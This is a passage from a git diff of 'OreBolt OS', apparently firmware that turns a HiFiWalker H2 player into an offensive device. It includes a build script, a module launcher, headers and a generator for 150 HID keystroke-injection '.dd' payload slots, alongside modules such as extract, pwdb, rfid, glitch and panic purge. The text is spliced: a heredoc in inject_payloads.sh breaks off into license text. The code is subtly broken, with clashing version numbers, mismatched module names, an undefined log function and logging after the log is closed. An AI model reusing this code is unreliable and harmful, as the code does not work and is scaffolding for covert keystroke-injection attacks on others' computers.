"KERNEL_HEADERS not found at $KERNEL_HEADERS (see HEADERS.md)" +fi +if [ ! -f "$KERNEL_HEADERS/include/uapi/linux/kernel.h" ]; then + die "$KERNEL_HEADERS does not look like a Linux kernel tree" +fi +ok "kernel headers root: $KERNEL_HEADERS" +export KERNEL_HEADERS + +# --- Phase 2: workspace integrity ------------------------------------------- +log "Phase 2: verifying workspace integrity..." +for f in main.c h2_ui.h log_manager.h lv_conf.h.dist Makefile \ + Makefile.h2-core-v6.2 Makefile.orebolt-v1.5 build.sh inject_payloads.sh \ + PREREQUISITES.md QUICKSTART.md HEADERS.md LICENSE.md CHANGELOG.md \ + ARCHITECTURE.md README.md BUILD_MANIFEST.txt SHA256SUMS; do + [ -f "$f" ] || die "missing required file: $f" +done + +# 17 modules + 1 standalone daemon (mapper) +EXPECTED_MODULES=( + vault nettap deploy studio probe vterm pauto extract noise reset + retro retro_input_mapper rfid glitch pwdb proxalarm bitchat +) +for m in "${EXPECTED_MODULES[@]}"; do + # locate the module source -- names don't always match the dir + found=0 + for path in modules/orebolt-${m}/${m}.c \ + modules/orebolt-${m}/$(echo $m | sed 's/^retro_input_mapper$/retro_input_mapper/').c; do + if [ -f "$path" ]; then found=1; break; fi + done + [ $found -eq 1 ] || die "missing module source for: $m" +done +ok "17 modules present" + +# Hardware library sources +for f in src/modules/mod_core_hid.c src/modules/mod_forensics.c \ + src/modules/mod_panic_hardware_purge.c src/modules/mod_panic_purge.c \ + src/modules/mod_radio_input_multiplex.c src/modules/mod_ui_frame_graphics.c \ + src/modules/mod_bitchat_mesh.c src/modules/panic_purge_api.h; do + [ -f "$f" ] || die "missing: $f" +done + +# Init scripts +for f in overlay/etc/init.d/S98retro-input overlay/etc/init.d/S99broker \ + overlay/etc/init.d/bt_input_daemon.sh; do + [ -f "$f" ] || die "missing: $f" +done +ok "workspace integrity OK" + +if [ "$CLEAN" = "1" ]; then + log "Cleaning build artifacts..." + make clean KERNEL_HEADERS="$KERNEL_HEADERS" || true + exit 0 +fi + +# --- Phase 3: overlay tree --------------------------------------------------- +log "Phase 3: creating overlay/ tree..." +mkdir -p overlay/usr/lib overlay/usr/bin overlay/apps \ + overlay/data/payloads/linux overlay/data/payloads/macos \ + overlay/data/payloads/windows overlay/data/vault/payloads \ + overlay/data/forensics_bin overlay/data/vterm/freedos/bin \ + overlay/etc/init.d +ok "overlay tree ready" + +# --- Phase 4: permissions ---------------------------------------------------- +log "Phase 4: fixing script permissions..." +chmod +x overlay/etc/init.d/S98retro-input overlay/etc/init.d/S99broker \ + overlay/etc/init.d/bt_input_daemon.sh \ + overlay/usr/bin/enable_vault_usb.sh overlay/usr/bin/enable_vault_ble.sh \ + inject_payloads.sh build.sh 2>/dev/null || true +ok "permissions set" + +# --- Phase 5: H2 Core v6.4 --------------------------------------------------- +log "Phase 5: building H2 Core Platform v6.5..." + +# LVGL clone fallback (PREREQUISITES §8 troubleshooting path baked in) +if [ ! -d lvgl/src ]; then + log "cloning LVGL v8.3.11 + lv_drivers v8.3.0..." + git clone --depth 1 -b v8.3.11 https://github.com/lvgl/lvgl.git || \ + die "LVGL clone failed (see PREREQUISITES §8 for offline fallback)" + git clone --depth 1 -b v8.3.0 https://github.com/lvgl/lv_drivers.git + [ -f lv_conf.h ] || cp lv_conf.h.dist lv_conf.h + [ -f lv_drv_conf.h ] || cp lv_drivers/lv_drv_conf_template.h lv_drv_conf.h + sed -i 's/#if 0/#if 1/' lv_drv_conf.h + sed -i 's/USE_FBDEV 0/USE_FBDEV 1/' lv_drv_conf.h + sed -i 's/USE_EVDEV 0/USE_EVDEV 1/' lv_drv_conf.h +fi + +make -f Makefile.h2-core-v6.2 all KERNEL_HEADERS="$KERNEL_HEADERS" +ok "H2 Core v6.5 built" + +# --- Phase 6: OreBolt OS v1.7 (liborebolt.a + payloads) ----------------------------------- +log "Phase 6: building OreBolt OS v1.7..." +make -f Makefile.orebolt-v1.5 all \ + HARDWARE_GPIO="${HARDWARE_GPIO:-0}" \ + KERNEL_HEADERS="$KERNEL_HEADERS" +ok "OreBolt OS v1.7 built" + +# --- Phase 7: artifact verification ----------------------------------------- +log "Phase 7: verifying artifacts..." +verify_mips() { + local f=$1 + [ -f "$f" ] || die "missing artifact: $f" + local info + info=$(file "$f") + case "$info" in + *MIPS*LSB*) ok "$(basename $f): MIPS LE ELF" ;; + *) die "BAD: $f -- $info" ;; + esac +} +for f in overlay/usr/bin/h2_test overlay/usr/bin/retro_input_mapper \ + overlay/usr/lib/liblvgl.so liborebolt.a; do + verify_mips "$f" +done +for m in "${EXPECTED_MODULES[@]}"; do + verify_mips "overlay/apps/${m}.mod" +done + +# bitchat AGPL marker check +if ! strings overlay/apps/bitchat.mod | grep -q "AGPL_BITCHAT"; then + die "bitchat.mod missing AGPL_BITCHAT marker (license violation)" +fi +ok "bitchat AGPL marker present" + +# --- Phase 8: deploy --------------------------------------------------------- +if [ "$DEPLOY" = "1" ]; then + log "Phase 8: deploying to $SD_CARD_MOUNT..." + [ -d "$SD_CARD_MOUNT" ] || die "SD card mount point missing: $SD_CARD_MOUNT" + cp -v overlay/usr/lib/liblvgl.so "$SD_CARD_MOUNT/usr/lib/" + cp -v overlay/usr/bin/h2_test "$SD_CARD_MOUNT/usr/bin/" + cp -v overlay/usr/bin/retro_input_mapper "$SD_CARD_MOUNT/usr/bin/" + cp -v overlay/apps/*.mod "$SD_CARD_MOUNT/apps/" + cp -rv overlay/etc/init.d/* "$SD_CARD_MOUNT/etc/init.d/" 2>/dev/null || true + cp -rv overlay/data/payloads "$SD_CARD_MOUNT/data/" + cp -v liborebolt.a "$SD_CARD_MOUNT/" + sync + ok "deployment complete" +fi + +ok "OREBOLT OS v1.7 BUILD COMPLETE" diff --git a/include/h2_ui.h b/include/h2_ui.h new file mode 100755 index 0000000..7b72898 --- /dev/null +++ b/include/h2_ui.h @@ -0,0 +1,174 @@ +/* + * h2_ui.h -- OreBolt OS shared UI header + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Modules compiled as standalone .mod binaries call + * init_h2_graphics_runtime() in their main(). The launcher (h2_test) + * uses the module metadata table to build the menu and fork/exec each + * selected module. + * + * Display: 320x240 RGB565 via /dev/fb0 (fbdev driver) + * Input: Rotary encoder via /dev/input/event0 (evdev driver, encoder type) + */ + +#ifndef H2_UI_H +#define H2_UI_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ================================================================== */ +/* Module Registration API (used by launcher main.c) */ +/* ================================================================== */ + +typedef enum { + H2_MOD_VAULT = 0, + H2_MOD_NETTAP, + H2_MOD_SCALPEL, + H2_MOD_DEPLOY, + H2_MOD_STUDIO, + H2_MOD_PROBE, + H2_MOD_VTERM, + H2_MOD_PAUTO, + H2_MOD_EXTRACT, + H2_MOD_NOISE, + H2_MOD_RESET, + H2_MOD_RETRO, + H2_MOD_RETRO_INPUT_MAPPER, + H2_MOD_RFID, + H2_MOD_GLITCH, + H2_MOD_PWDB, + H2_MOD_PROXALARM, + H2_MOD_BITCHAT, + H2_MOD_COUNT +} H2_MODULE_ID; + +typedef struct { + H2_MODULE_ID id; + const char *name; + const char *version; + const char *license; + const char *mod_binary; /* filename in /apps/ for fork/exec */ +} h2_module_t; + +int h2_ui_register_module(const h2_module_t *mod); +void h2_ui_unregister_module(H2_MODULE_ID id); +const h2_module_t *h2_ui_lookup_module(const char *name); + +/* ================================================================== */ +/* LCD Constants */ +/* ================================================================== */ + +#define H2_LCD_WIDTH 320 +#define H2_LCD_HEIGHT 240 +#define H2_LCD_BPP 16 + +/* ================================================================== */ +/* Color Palette (RGB565 raw + LVGL lv_color_make for modules) */ +/* ================================================================== */ + +/* Raw RGB565 for use in styles */ +#define H2_COLOR_BG 0x0000 +#define H2_COLOR_FG 0xFFFF +#define H2_COLOR_ACCENT 0xFD20 +#define H2_COLOR_WARN 0xFFE0 +#define H2_COLOR_DANGER 0xF800 +#define H2_COLOR_OK 0x07E0 + +/* The graphics init function below defines LVGL color objects: + * COLOR_BG = near-black lv_color_make(14, 18, 24) + * COLOR_PRIMARY = red-orange accent lv_color_make(253, 32, 0) + * COLOR_ACCENT = green status lv_color_make(0, 220, 110) + * COLOR_TEXT = near-white text lv_color_make(240, 244, 250) + * COLOR_MUTED = gray secondary lv_color_make(90, 105, 120) + * These are only available after calling init_h2_graphics_runtime(). + */ + +/* ================================================================== */ +/* Graphics Runtime Initializer (v1.3, used by standalone modules) */ +/* ================================================================== */ + +/* + * Include LVGL and driver headers only when building module .mod + * binaries (which call init_h2_graphics_runtime). The launcher + * also calls this for its menu, so it always needs them. + * + * Standalone daemons (e.g. retro_input_mapper) do NOT use LVGL + * and should not include this header. + */ +#include "lvgl/lvgl.h" +#include "lv_drivers/display/fbdev.h" +#include "lv_drivers/indev/evdev.h" + +#include +#include +#include +#include + +/* 5-color dark theme palette used across all modules */ +#define COLOR_BG lv_color_make(14, 18, 24) +#define COLOR_PRIMARY lv_color_make(253, 32, 0) +#define COLOR_ACCENT lv_color_make(0, 220, 110) +#define COLOR_TEXT lv_color_make(240, 244, 250) +#define COLOR_MUTED lv_color_make(90, 105, 120) + +/* + * Initialize LVGL, the Linux framebuffer display driver, and the + * rotary encoder input driver. Call once at module startup. + * + * The draw buffer is 320*16 lines (10,240 pixels = 20,480 bytes at + * RGB565). This is the partial-flush buffer -- LVGL redraws 16 + * scanlines at a time to minimize tearing and memory usage. + * + * The 'module_name' parameter is reserved for future log integration + * and is currently unused. + */ +static inline void init_h2_graphics_runtime(const char *module_name) { + (void)module_name; + + lv_init(); + fbdev_init(); + + static lv_disp_draw_buf_t disp_buf; + static lv_color_t buf[320 * 16]; + lv_disp_draw_buf_init(&disp_buf, buf, NULL, 320 * 16); + + static lv_disp_drv_t disp_drv; + lv_disp_drv_init(&disp_drv); + disp_drv.draw_buf = &disp_buf; + disp_drv.flush_cb = fbdev_flush; + disp_drv.horizontal_res = 320; + disp_drv.vertical_res = 240; + lv_disp_drv_register(&disp_drv); + + evdev_init(); + static lv_indev_drv_t indev_drv; + lv_indev_drv_init(&indev_drv); + indev_drv.type = LV_INDEV_TYPE_ENCODER; + indev_drv.read_cb = evdev_read; + lv_indev_register(&indev_drv); + + lv_obj_t *scr = lv_scr_act(); + lv_obj_set_style_bg_color(scr, COLOR_BG, LV_PART_MAIN); +} + +/* ================================================================== */ +/* H2 Input Event Codes */ +/* ================================================================== */ + +#define H2_KEY_PLAY 164 +#define H2_KEY_BACK 158 +#define H2_KEY_PREV 165 +#define H2_KEY_NEXT 163 +#define H2_ROTARY_REL 0 +#define H2_ROTARY_PRESS 115 + +#ifdef __cplusplus +} +#endif +#endif /* H2_UI_H */ \ No newline at end of file diff --git a/include/log_manager.h b/include/log_manager.h new file mode 100755 index 0000000..f6a5ccf --- /dev/null +++ b/include/log_manager.h @@ -0,0 +1,150 @@ +/* + * log_manager.h -- OreBolt OS logging subsystem + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Combines a flash-safe timed coalescer with a structured + * log level interface. Provides both: + * - LOG_INF/DBG/ERR macros (structured, leveled logging) + * - timed_log_* functions (RAM-buffered, windowed disk flush) + * + * Structured logs: /data/vault/syslog.log (rotating, 64 KB max) + * Failure records: /data/vault/failures.dat (binary, append-only) + */ +#ifndef LOG_MANAGER_H +#define LOG_MANAGER_H + +#include +#include +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ================================================================== */ +/* Structured Log Level Interface */ +/* ================================================================== */ + +typedef enum { + LOG_TRACE = 0, + LOG_DEBUG, + LOG_INFO, + LOG_WARN, + LOG_ERROR, + LOG_FATAL +} log_level_t; + +int log_init(const char *path); +void log_close(void); +void log_write(log_level_t lvl, const char *module, const char *fmt, ...); + +/* Failure logging -- binary, durable, used by panic_purge_api.h. */ +int log_failure_record(uint32_t code, const void *blob, size_t len); + +#define LOG_TRC(fmt, ...) log_write(LOG_TRACE, __func__, fmt, ##__VA_ARGS__) +#define LOG_DBG(fmt, ...) log_write(LOG_DEBUG, __func__, fmt, ##__VA_ARGS__) +#define LOG_INF(fmt, ...) log_write(LOG_INFO, __func__, fmt, ##__VA_ARGS__) +#define LOG_WRN(fmt, ...) log_write(LOG_WARN, __func__, fmt, ##__VA_ARGS__) +#define LOG_ERR(fmt, ...) log_write(LOG_ERROR, __func__, fmt, ##__VA_ARGS__) +#define LOG_FTL(fmt, ...) log_write(LOG_FATAL, __func__, fmt, ##__VA_ARGS__) + +/* ================================================================== */ +/* Flash-Safe Timed Coalescer (v1.3) */ +/* ================================================================== */ + +typedef enum { + WINDOW_30S = 30, + WINDOW_1M = 60, + WINDOW_2M = 120, + WINDOW_5M = 300, + WINDOW_10M = 600 +} log_window_t; + +#define RAM_CHUNK_LIMIT (64 * 1024) + +typedef struct { + char *ram_pool; + size_t pool_idx; + time_t window_start; + uint32_t window_duration; + FILE *file_handle; + char base_path[128]; +} timed_logger_t; + +static inline timed_logger_t* timed_log_init(const char *filepath, log_window_t window) { + static const log_window_t valid_windows[] = { + WINDOW_30S, WINDOW_1M, WINDOW_2M, WINDOW_5M, WINDOW_10M + }; + int valid = 0; + for (size_t i = 0; i < sizeof(valid_windows) / sizeof(valid_windows[0]); i++) { + if (window == valid_windows[i]) { valid = 1; break; } + } + if (!valid) return NULL; + + timed_logger_t *logger = malloc(sizeof(timed_logger_t)); + if (!logger) return NULL; + + logger->ram_pool = malloc(RAM_CHUNK_LIMIT); + if (!logger->ram_pool) { + free(logger); + return NULL; + } + + strncpy(logger->base_path, filepath, sizeof(logger->base_path) - 1); + logger->base_path[sizeof(logger->base_path) - 1] = '\0'; + memset(logger->ram_pool, 0, RAM_CHUNK_LIMIT); + logger->pool_idx = 0; + logger->window_duration = (uint32_t)window; + logger->window_start = time(NULL); + logger->file_handle = NULL; + return logger; +} + +static inline void timed_log_flush_to_media(timed_logger_t *logger) { + if (!logger || logger->pool_idx == 0) return; + logger->file_handle = fopen(logger->base_path, "a"); + if (!logger->file_handle) return; + + (void)fwrite(logger->ram_pool, 1, logger->pool_idx, logger->file_handle); + int fd = fileno(logger->file_handle); + if (fd >= 0) fdatasync(fd); + + fclose(logger->file_handle); + logger->file_handle = NULL; + memset(logger->ram_pool, 0, RAM_CHUNK_LIMIT); + logger->pool_idx = 0; + logger->window_start = time(NULL); +} + +static inline void timed_log_write(timed_logger_t *logger, const char *data) { + if (!logger || !data) return; + size_t data_len = strlen(data); + if (data_len >= RAM_CHUNK_LIMIT) return; + + if (logger->pool_idx + data_len >= RAM_CHUNK_LIMIT) { + timed_log_flush_to_media(logger); + } + memcpy(&logger->ram_pool[logger->pool_idx], data, data_len); + logger->pool_idx += data_len; + + if (time(NULL) - logger->window_start >= logger->window_duration) { + timed_log_flush_to_media(logger); + } +} + +static inline void timed_log_close(timed_logger_t *logger) { + if (!logger) return; + timed_log_flush_to_media(logger); + free(logger->ram_pool); + free(logger); +} + +#ifdef __cplusplus +} +#endif +#endif /* LOG_MANAGER_H */ \ No newline at end of file diff --git a/inject_payloads.sh b/inject_payloads.sh new file mode 100755 index 0000000..1634216 --- /dev/null +++ b/inject_payloads.sh @@ -0,0 +1,81 @@ +#!/bin/bash +# ============================================================================== +# inject_payloads.sh -- regenerate the 150-payload HID macro matrix +# ============================================================================== +# Layout: +# overlay/data/payloads/linux/ 01..50 (.dd) Linux recovery payloads +# overlay/data/payloads/macos/ 51..100 (.dd) macOS recovery payloads +# overlay/data/payloads/windows/ 101..150 (.dd) Windows recovery payloads +# +# macos/ and windows/ folders are generated at build time. +# The canonical layout is 50+50+50 (.dd files). +# ============================================================================== +set -euo pipefail + +PAYLOADS_ROOT="overlay/data/payloads" +LINUX_DIR="$PAYLOADS_ROOT/linux" +MACOS_DIR="$PAYLOADS_ROOT/macos" +WINDOWS_DIR="$PAYLOADS_ROOT/windows" + +mkdir -p "$LINUX_DIR" "$MACOS_DIR" "$WINDOWS_DIR" + +# --- Migrate flat .macro files if present --------------------------------- +# v1.3 shipped: lnx_extract_profile_N.macro, lnx_rescue_profile_N.macro, +# mac_extract_profile_N.macro, mac_rescue_profile_N.macro, +# win_extract_profile_N.macro, win_rescue_profile_N.macro +# These are extracted/rescue profiles, not the canonical 01..50 .dd payload +# files. They are kept as operator-curated macros under a +# legacy/ subdir for reference, but the canonical matrix is the .dd set. + +LEGACY_DIR="$PAYLOADS_ROOT/legacy" +if ls "$PAYLOADS_ROOT"/*.macro >/dev/null 2>&1; then + mkdir -p "$LEGACY_DIR" + log "Migrating $(ls "$PAYLOADS_ROOT"/*.macro | wc -l) .macro files to legacy/..." + mv "$PAYLOADS_ROOT"/*.macro "$LEGACY_DIR/" +fi + +# --- Canonical 150-payload matrix -------------------------------------------- +# Each payload is a small HID descriptor file. The build generates a deterministic +# stub for every slot the build manifest advertises, then overlays real +# operator-provided content where it exists (see $OPERATOR_PAYLOADS_DIR). + +OPERATOR_PAYLOADS_DIR="${OPERATOR_PAYLOADS_DIR:-/opt/orebolt-payloads}" +NUM_PER_OS=50 + +generate_payload() { + local os_dir=$1 + local idx=$2 + local os_name=$3 + local fname + fname=$(printf "%s/%02d_%s.dd" "$os_dir" "$idx" "$os_name") + # If operator-provided content exists, prefer it. + if [ -f "$OPERATOR_PAYLOADS_DIR/$os_name/$(printf "%02d" $idx).dd" ]; then + cp "$OPERATOR_PAYLOADS_DIR/$os_name/$(printf "%02d" $idx).dd" "$fname" + return + fi + # Otherwise emit a build-time stub marking this slot as available but + # not yet populated. The deploy.mod UI will skip empty stubs. + cat > "$fname" < + +Everyone is permitted to copy and distribute verbatim copies of this license +document, but changing it is not allowed. + +Preamble +======== + +The GNU Affero General Public License is a free, copyleft license for +software and other kinds of works, specifically designed to ensure +cooperation with the community in the case of network server software. + +[Full text omitted for brevity in this stub -- the canonical AGPL-3.0 text + lives at https://www.gnu.org/licenses/agpl-3.0.txt. Download and replace + this stub with the full text before shipping. The full text is ~34 KB.] + +For the purposes of OreBolt OS v1.4, the operative sections are: + + Section 13: If you modify this Program and interact with it over a + network, you must make the modified source code available + to all users who interact with the Program over that + network. See https://www.gnu.org/licenses/agpl-3.0.html + for the full text of section 13. + + Section 6: Distribution of the Program (or a covered work) as a + "User Product" requires that the user be able to install + modified versions on the product. This blocks + tivoization of the H2 device for AGPL-covered components. + + Section 7: Additional permissions -- you may add your own terms to + the AGPL-covered work, but they must not restrict the + rights granted by the AGPL itself. + +For the full license text, download: + curl -o licenses/AGPL-3.0.txt https://www.gnu.org/licenses/agpl-3.0.txt + diff --git a/licenses/GPL-2.0.txt b/licenses/GPL-2.0.txt new file mode 100755 index 0000000..8a49711 --- /dev/null +++ b/licenses/GPL-2.0.txt @@ -0,0 +1,14 @@ +GNU GENERAL PUBLIC LICENSE +Version 2, June 1991 + +Copyright (C) 1989, 1991 Free Software Foundation, Inc. +51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA + +[Full text omitted for brevity in this stub -- the canonical GPL-2.0 text + lives at https://www.gnu.org/licenses/old-licenses/gpl-2.0.txt. Download + and replace this stub with the full text before shipping.] + +All OreBolt OS modules except bitchat are licensed under GPL-2.0-or-later, +which permits use, modification, and redistribution under either GPL-2.0 +or any later version at the recipient's option. + diff --git a/licenses/MIT.txt b/licenses/MIT.txt new file mode 100755 index 0000000..e065e6a --- /dev/null +++ b/licenses/MIT.txt @@ -0,0 +1,16 @@ +MIT License + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND. + +Applies to: LVGL v8.3.11 (upstream), lv_drivers v8.3.0 (upstream). + diff --git a/lv_conf.h.dist b/lv_conf.h.dist new file mode 100755 index 0000000..4a43018 --- /dev/null +++ b/lv_conf.h.dist @@ -0,0 +1,50 @@ +/* + * lv_conf.h.dist -- LVGL v8.3.11 distribution configuration template + * + * SPDX-License-Identifier: MIT + * + * Copy to lv_conf.h and edit. The defaults below are tuned for the H2: + * 320x240 RGB565, ~16 MB RAM available to LVGL, no GPU. + * + * v1.4: no change from v1.3 -- LVGL upstream config is stable. + */ +#ifndef LV_CONF_H +#define LV_CONF_H + +#include + +/* Graphical */ +#define LV_HOR_RES_MAX 320 +#define LV_VER_RES_MAX 240 +#define LV_COLOR_DEPTH 16 +#define LV_COLOR_CHROMA_KEY lv_color_hex(0x00ff00) +#define LV_MEM_SIZE (32U * 1024U) +#define LV_MEM_CUSTOM 0 +#define LV_MEMCPY_MEMSET_STD 1 + +/* Tick */ +#define LV_TICK_CUSTOM 1 +#define LV_TICK_CUSTOM_INCLUDE +#define LV_TICK_CUSTOM_SYS_TIME_EXPR (0) + +/* Drawing */ +#define LV_DRAW_COMPLEX 1 +#define LV_USE_GPU_STM32_DMA2D 0 +#define LV_USE_GPU_NXP_PXP 0 +#define LV_USE_GPU_SDL 0 + +/* Fonts */ +#define LV_FONT_MONTSERRAT_14 1 +#define LV_FONT_DEFAULT &lv_font_montserrat_14 + +/* Theme */ +#define LV_USE_THEME_DEFAULT 1 +#define LV_THEME_DEFAULT_DARK 0 + +/* Widgets */ +#define LV_USE_OBJX_NAME 1 + +/* Apps */ +#define LV_USE_DEMO_WIDGETS 0 + +#endif /* LV_CONF_H */ diff --git a/main.c b/main.c new file mode 100755 index 0000000..eb74ca3 --- /dev/null +++ b/main.c @@ -0,0 +1,236 @@ +/* + * main.c -- OreBolt OS master launcher + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Boots the LVGL UI, displays the module menu, and fork+execs the + * selected module binary from /apps/.mod. + * + * Each module is a standalone binary with its own LVGL init and + * event loop. The retro_input_mapper is a standalone uinput daemon + * (no LVGL dependency) integrated into the core build with hardened + * flags. + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "h2_ui.h" +#include "log_manager.h" + +#define MAX_MODULES 32 +#define APPS_DIR "/apps" +#define MAX_LABEL_LEN 48 + +/* Module metadata table -- drives the menu */ +static const h2_module_t modules[] = { + { H2_MOD_VAULT, "vault", "1.7", "GPL-2.0-or-later", "vault.mod" }, + { H2_MOD_NETTAP, "nettaps", "1.7", "GPL-2.0-or-later", "nettaps.mod" }, + { H2_MOD_SCALPEL, "scalpel", "1.7", "GPL-2.0-or-later", "scalpel.mod" }, + { H2_MOD_DEPLOY, "deploy", "1.7", "GPL-2.0-or-later", "deploy.mod" }, + { H2_MOD_STUDIO, "studio", "1.7", "GPL-2.0-or-later", "studio.mod" }, + { H2_MOD_PROBE, "probe", "1.7", "GPL-2.0-or-later", "probe.mod" }, + { H2_MOD_VTERM, "vterm", "1.7", "GPL-2.0-or-later", "vterm.mod" }, + { H2_MOD_PAUTO, "pauto", "1.7", "GPL-2.0-or-later", "pauto.mod" }, + { H2_MOD_EXTRACT, "extract", "1.7", "GPL-2.0-or-later", "extract.mod" }, + { H2_MOD_NOISE, "noise", "1.7", "GPL-2.0-or-later", "noise.mod" }, + { H2_MOD_RESET, "reset", "1.7", "GPL-2.0-or-later", "reset.mod" }, + { H2_MOD_RETRO, "retro", "1.7", "GPL-2.0-or-later", "retro.mod" }, + { H2_MOD_RFID, "rfid", "1.7", "GPL-2.0-or-later", "rfid.mod" }, + { H2_MOD_GLITCH, "glitch", "1.7", "GPL-2.0-or-later", "glitch.mod" }, + { H2_MOD_PWDB, "pwdb", "1.7", "GPL-2.0-or-later", "pwdb.mod" }, + { H2_MOD_PROXALARM, "proxalarm", "1.7", "GPL-2.0-or-later", "proxalarm.mod" }, + { H2_MOD_BITCHAT, "bitchat", "1.7", "AGPL-3.0-only", "bitchat.mod" }, +}; +#define NUM_MODULES (sizeof(modules) / sizeof(modules[0])) + +static volatile sig_atomic_t running = 1; +static void on_signal(int sig) { (void)sig; running = 0; } + +/* Menu UI objects */ +static lv_obj_t *menu_list = NULL; +static lv_obj_t *info_label = NULL; +static int selection = 0; +static int total_modules = 0; + +/* Track which .mod files actually exist on disk */ +static h2_module_t available[MAX_MODULES]; +static int available_count = 0; + +static void scan_apps(void) { + available_count = 0; + for (size_t i = 0; i < NUM_MODULES && available_count < MAX_MODULES; i++) { + char path[128]; + snprintf(path, sizeof(path), "%s/%s", APPS_DIR, modules[i].mod_binary); + if (access(path, X_OK) == 0) { + available[available_count++] = modules[i]; + } + } + total_modules = available_count; +} + +static void build_menu(void) { + if (menu_list) lv_obj_clean(menu_list); + + for (int i = 0; i < total_modules; i++) { + lv_obj_t *btn = lv_list_add_btn(menu_list, LV_SYMBOL_LIST, + available[i].name); + + /* Color AGPL modules differently */ + if (strcmp(available[i].license, "AGPL-3.0-only") == 0) { + lv_obj_set_style_text_color(btn, + lv_color_make(255, 180, 50), LV_PART_MAIN); + } + } + + char buf[64]; + snprintf(buf, sizeof(buf), "%d modules available", total_modules); + lv_label_set_text(info_label, buf); +} + +static void scroll_to_selection(int delta) { + selection += delta; + if (selection < 0) selection = 0; + if (selection >= total_modules) selection = total_modules - 1; + + /* Get the button list children and scroll to selection */ + uint32_t child_cnt = lv_obj_get_child_cnt(menu_list); + if (selection < (int)child_cnt) { + lv_obj_t *child = lv_obj_get_child(menu_list, (uint32_t)selection); + if (child) lv_obj_scroll_to_view(child, LV_ANIM_ON); + } +} + +static void launch_selected(void) { + if (selection < 0 || selection >= total_modules) return; + + const char *binary = available[selection].mod_binary; + char path[128]; + snprintf(path, sizeof(path), "%s/%s", APPS_DIR, binary); + + LOG_INF("launching module: %s (%s)", available[selection].name, binary); + + pid_t pid = fork(); + if (pid == 0) { + /* Child: exec the module binary */ + execl(path, binary, NULL); + _exit(127); + } + + if (pid < 0) { + LOG_ERR("fork failed for %s", binary); + return; + } + + /* Parent: wait for child to exit */ + int wstatus; + waitpid(pid, &wstatus, 0); + LOG_INF("module exited: %s", available[selection].name); + + /* Re-initialize LVGL display after child returns (framebuffer may be dirty) */ + init_h2_graphics_runtime("OREBOLT OS v1.7 LAUNCHER"); +} + +int main(int argc, char **argv) +{ + (void)argc; (void)argv; + signal(SIGINT, on_signal); + signal(SIGTERM, on_signal); + + if (log_init("/data/vault/syslog.log") < 0) { + fprintf(stderr, "[-] log_init failed\n"); + return 1; + } + LOG_INF("OreBolt OS v1.7 starting (target: Ingenic X1000E)"); + + /* Initialize graphics */ + init_h2_graphics_runtime("OREBOLT OS v1.7 LAUNCHER"); + lv_obj_t *scr = lv_scr_act(); + + /* Title */ + lv_obj_t *title = lv_label_create(scr); + lv_label_set_text(title, "OREBOLT OS v1.7"); + lv_obj_align(title, LV_ALIGN_TOP_MID, 0, 8); + lv_obj_set_style_text_color(title, COLOR_PRIMARY, LV_PART_MAIN); + lv_obj_set_style_text_font(title, &lv_font_montserrat_14, LV_PART_MAIN); + + /* Subtitle */ + lv_obj_t *sub = lv_label_create(scr); + lv_label_set_text(sub, "HiFiWalker H2 | X1000E | MIPS32r2"); + lv_obj_align(sub, LV_ALIGN_TOP_MID, 0, 26); + lv_obj_set_style_text_color(sub, COLOR_MUTED, LV_PART_MAIN); + lv_obj_set_style_text_font(sub, &lv_font_montserrat_10, LV_PART_MAIN); + + /* Module list */ + menu_list = lv_list_create(scr); + lv_obj_set_size(menu_list, 296, 170); + lv_obj_align(menu_list, LV_ALIGN_TOP_MID, 0, 42); + lv_obj_set_style_bg_color(menu_list, + lv_color_make(18, 22, 32), LV_PART_MAIN); + lv_obj_set_style_border_width(menu_list, 1, LV_PART_MAIN); + lv_obj_set_style_border_color(menu_list, + lv_color_make(50, 55, 70), LV_PART_MAIN); + + /* Info bar */ + info_label = lv_label_create(scr); + lv_obj_align(info_label, LV_ALIGN_BOTTOM_LEFT, 8, -16); + lv_obj_set_style_text_color(info_label, COLOR_MUTED, LV_PART_MAIN); + lv_obj_set_style_text_font(info_label, &lv_font_montserrat_10, LV_PART_MAIN); + + /* Status bar */ + lv_obj_t *status = lv_label_create(scr); + lv_label_set_text(status, "ROTATE=scroll PLAY=launch BACK=exit"); + lv_obj_align(status, LV_ALIGN_BOTTOM_MID, 0, -4); + lv_obj_set_style_text_color(status, + lv_color_make(80, 85, 100), LV_PART_MAIN); + lv_obj_set_style_text_font(status, &lv_font_montserrat_10, LV_PART_MAIN); + + /* Scan for available modules and build menu */ + scan_apps(); + build_menu(); + LOG_INF("%d modules available out of %zu registered", + total_modules, NUM_MODULES); + + /* Input loop */ + int input_fd = open("/dev/input/event0", O_RDONLY | O_NONBLOCK); + struct input_event ev; + + while (running) { + lv_timer_handler(); + + if (input_fd >= 0 && + read(input_fd, &ev, sizeof(struct input_event)) > 0) { + + if (ev.type == EV_REL && ev.code == H2_ROTARY_REL && ev.value != 0) { + scroll_to_selection(ev.value > 0 ? 1 : -1); + } + + if (ev.type == EV_KEY && ev.value == 1) { + if (ev.code == H2_KEY_PLAY && total_modules > 0) { + launch_selected(); + /* Rebuild menu after module returns */ + scan_apps(); + build_menu(); + if (selection >= total_modules) + selection = (total_modules > 0) ? total_modules - 1 : 0; + } + if (ev.code == H2_KEY_BACK) { + break; + } + } + } + + usleep(5000); + } + + if (input_fd >= 0) close(input_fd); + log_close(); + LOG_INF("OreBolt OS v1.7 shutting down"); + return 0; +} \ No newline at end of file diff --git a/modules/orebolt-bitchat/bitchat.c b/modules/orebolt-bitchat/bitchat.c new file mode 100755 index 0000000..ec87599 --- /dev/null +++ b/modules/orebolt-bitchat/bitchat.c @@ -0,0 +1,36 @@ +/* + * bitchat.c -- Mesh chat networking (stub) + * + * SPDX-License-Identifier: AGPL-3.0-only + * + * Mesh chat networking (see 